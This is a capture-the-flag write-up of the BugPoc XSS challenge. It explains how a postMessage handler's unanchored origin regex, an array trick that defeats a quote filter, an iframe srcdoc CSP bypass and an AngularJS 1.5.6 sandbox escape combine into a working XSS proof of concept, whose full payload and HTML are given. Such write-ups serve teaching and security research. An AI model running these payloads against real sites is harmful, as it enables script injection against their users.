Hi,

This is my write up for BugPoc XSS challenge, I will try to walk you through the process from reading the Javascript and discovering the vulnerability to analyzing the filters and obtaining bypasses for them.

The challenge is a simple calculator written using angular JS, you should obtain XSS that triggers an alert(document.domain) bypassing CSP and then you will need to write a POC using BugPoc.

Analyzing the Javascript Code

Looking at the page source you can see at the bottom of the page a file named script.js .

Looking at the source code of that file it seemed like it's the code that performs the calculations on the client side, however at the end of the file we see the following interesting function.

function sendEquation(msg){
	theiframe.postMessage(msg);
}

It seems like our main page is sending a postMessage to an iframe named theiframe , looking at the HTML source code of index.html we see the following line

<iframe name="theiframe" style="height:65px;width:100%; left:-100px; margin-top:-05px;margin-bottom:-30px;" frameBorder="0" src="frame.html"></iframe>

We can see that the iframe is pointing to the page frame.html let's examine that page.

The page is almost empty but includes a script named frame.js , opening that file reveals the following code.

window.addEventListener("message", receiveMessage, false);

function receiveMessage(event) {

	// verify sender is trusted
	if (!/^http:\/\/calc.buggywebsite.com/.test(event.origin)) {
		return
	}
	
	// display message 
	msg = event.data;
	if (msg == 'off') {
		document.body.style.color = '#95A799';
	} else if (msg == 'on') {
		document.body.style.color = 'black';
	} else if (!msg.includes("'") && !msg.includes("&")) {
		document.body.innerHTML=msg;
	}
}

The code registers an event handler for "message" event, this is the event that triggers when postMessage is sent to the page, the function that handles the event is receiveMessage, we can clearly see at the beginning of the function that there's an if statement that verifies the sender of the post message by testing event.origin against a regex, let's see how we can bypass that regex.

Analyzing the Regex

The regex used for verifying the domain is /^http:\/\/calc.buggywebsite.com/ for someone with experience with regex it's super easy to spot the problem, the regex is lacking $ at the end which means you can append anything to a string that matches the regex.

But what if you're someone who doesn't have experience with regex or what if the regex was more complicated than that, how can you analyze it?

well the answer is very straight forward you can use a regex tester/debugger, personally I like to use regex101.com as it produces a human readable explanation of the regex which can be very helpful to someone without regex experience, I used this site a lot when I was learning regex and I still use it for verification as it can speed up the process.

Lets use regex101.com to verify my theory about the missing $ so let's test if http://calc.buggywebsite.com.hacker.com does match the regex, you can see in the screenshot of regex101.com that it does, you can also see the explanation on the right pane of the regex which is really handy.

So now we know that we can bypass the regex for the domain let's take another look at the function that handles the postMessage, we can see the following line.

else if (!msg.includes("'") && !msg.includes("&")) {
		document.body.innerHTML=msg;
}

We can clearly see that our message is reflected in the document.body.innerHTML, i.e. in the body of frame.html so this is vulnerable to XSS, however we can see that the msg is filtered to prevent single quotes and the & sign, let's see how we can bypass that without using any encoding.

Bypassing the single quote and the & filter without encoding ;)

To bypass a filter most people tend to use some sort of encoding, however I will use another method to bypass the filter, so to explain the method there're some information that you need to know about.

The first thing you need to know is that document.body.innerHTML accepts an array so you can supply an array like ["<h1>hi</h1>"] and it will still work, you can see that on action using the browser console, the string inside the array will be rendered without any issues.

Now lets take a look at the condition in our filter it uses !msg.includes("'") both arrays and strings have the includes method to test if an item is a member of that array, however they will act differently see the following code example to understand what I mean.

var msg = "I don't know"
msg.includes("'") //will return true as the string contains '.

var msg = ["I don't know"]
msg.includes("'") //Will return false as the array doesn't contain an item with the value "'".

To put it simple all what we need to do is to send our string as a member of an array and it will bypass the filter.

Attempting to trigger the XSS

Now with that information, I decided to attempt to trigger the XSS from the console to see if we can exploit this, so I used a simple img payload as the following.

window.postMessage(["<img onerror='alert(1)' src='x'>"],'*');

And it failed because of CSP as we can see on the following error.

Analyzing CSP with Google

The CSP is introduced in the iframe.html using the meta tag as the following

<meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' 'self'; object-src 'none'">

Now we can see the unsafe-eval and self , you can lookup the docs from mozilla to understand what they do, also there's another way to analyze the CSP and that is by using https://csp-evaluator.withgoogle.com/ the website analyzes the CSP and even provides hints on how it can be bypassed, let's provide our CSP rule to the evaluator and see if it comes up with something useful.

One thing caught my attention in the analysis

'self' can be problematic if you host JSONP, Angular or user uploaded files.

The analysis says that self can be problematic if you host angular Js on the website, so I decided to try to figure a payload using angular JS.

Trying to Execute an Angular Expersssion

So the first thing I noticed is that the frame.html page doesn't include the angular.js file as a script in the page, this means that at some point I need to add <script src="angular.min.js"></script> in my payload.

So what? we can add it to the payload, there's no filter that prevent script tags right? well, it's not that simple, scripts added using innerHTML doesn't get executed they are simply ignored so while you can do <img src=x onerror='alert(1)' , you can't do <script src="angular.min.js"></script> , this means that somehow we need to find a way to inject a script tag, the first thing came to my mind was using an <iframe> , If you read more about iframes you will find that they have an attribute named srcdoc which takes HTML directly instead of including a page (you can stumble upon this information if you're googling for angular csp bypasses BTW).

Now with that information let's try the following updated payload to see if we can execute Angular Js expression.

window.postMessage(["<iframe srcdoc='<script src=angular.min.js></script><div ng-app ng-csp>{{1+1}}</div>'></iframe>"],'*');

Notice the following result when running the above code in the console, you can see that 1+1 was evaluated and resulted in 2.

So now we can execute angular expressions, however angular have a sandbox that prevents that, it also have a lot of bypasses, so the first thing I did was obtaining the angular js version, you can do this by opening the angular javascript file at http://calc.buggywebsite.com/angular.min.js , you will see that it's AngularJS v1.5.6.

I looked for a bypass and I found one at https://github.com/angular/angular.js/issues/14939 , my final payload looked like the following.

window.postMessage(["<iframe srcdoc=\"<script src=angular.min.js></script><div ng-app ng-csp>{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(document.domain)');}}</div>\"></iframe>"],'*');

Putting it all together

What we need now is to host our payload at a domain that starts with calc.buggywebsite.com so I added the domain calc.buggywebsite.com.local to my `/etc/hosts` and started a local server.

Here's my final POC (note that you need to escape " and / otherwise your injected payload will fail)

<body onload="test();">
<iframe id="myiframe" src="http://calc.buggywebsite.com/frame.html"></iframe>

<script>

var myiframe = document.getElementById("myiframe");


function test() {
    myiframe.contentWindow.postMessage(["<iframe srcdoc=\"<script src='angular.min.js'><\/script><div ng-app ng-csp>{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(document.domain)');}}<\/div>\"><\/iframe>"],'*');

    //myiframe.contentWindow.postMessage("1+1",'*');  
}
</script>
<button onclick="test()">exploit</button>

</body>

After that I uploaded my POC to bugpoc and I sat the domain to calc.buggywebsite.com.web.bugpoc.ninja

That's was it for this write up, I hope you enjoyed it.

See you in another post ... bye.